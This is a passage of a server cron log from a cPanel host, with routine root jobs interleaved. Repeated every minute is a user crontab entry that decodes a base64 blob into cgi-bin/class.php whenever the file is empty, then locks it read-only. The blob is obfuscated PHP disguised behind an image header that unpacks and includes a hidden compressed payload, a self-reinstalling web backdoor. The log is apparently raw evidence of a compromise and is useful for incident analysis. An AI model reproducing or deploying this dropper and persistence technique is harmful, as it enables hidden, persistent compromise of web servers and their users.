09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:01:01 server CROND[4966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:01:01 server CROND[4967]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 00:01:01 server run-parts(/etc/cron.hourly)[4967]: starting 0anacron
Apr 10 00:01:01 server anacron[4979]: Anacron started on 2025-04-10
Apr 10 00:01:01 server run-parts(/etc/cron.hourly)[4981]: finished 0anacron
Apr 10 00:01:01 server anacron[4979]: Normal exit (0 jobs run)
Apr 10 00:02:01 server CROND[5142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:03:01 server CROND[5179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:04:01 server CROND[5238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:05:01 server CROND[5309]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 00:05:01 server CROND[5310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:05:01 server CROND[5311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:05:01 server CROND[5312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:06:01 server CROND[5591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:07:01 server CROND[5648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:08:01 server CROND[5788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:09:01 server CROND[5845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:09:01 server CROND[5846]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 00:10:01 server CROND[5912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:10:01 server CROND[5913]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 00:10:01 server CROND[5914]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:10:01 server CROND[5915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:11:01 server CROND[6044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:12:01 server CROND[6094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:12:01 server CROND[6095]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 00:13:01 server CROND[6307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
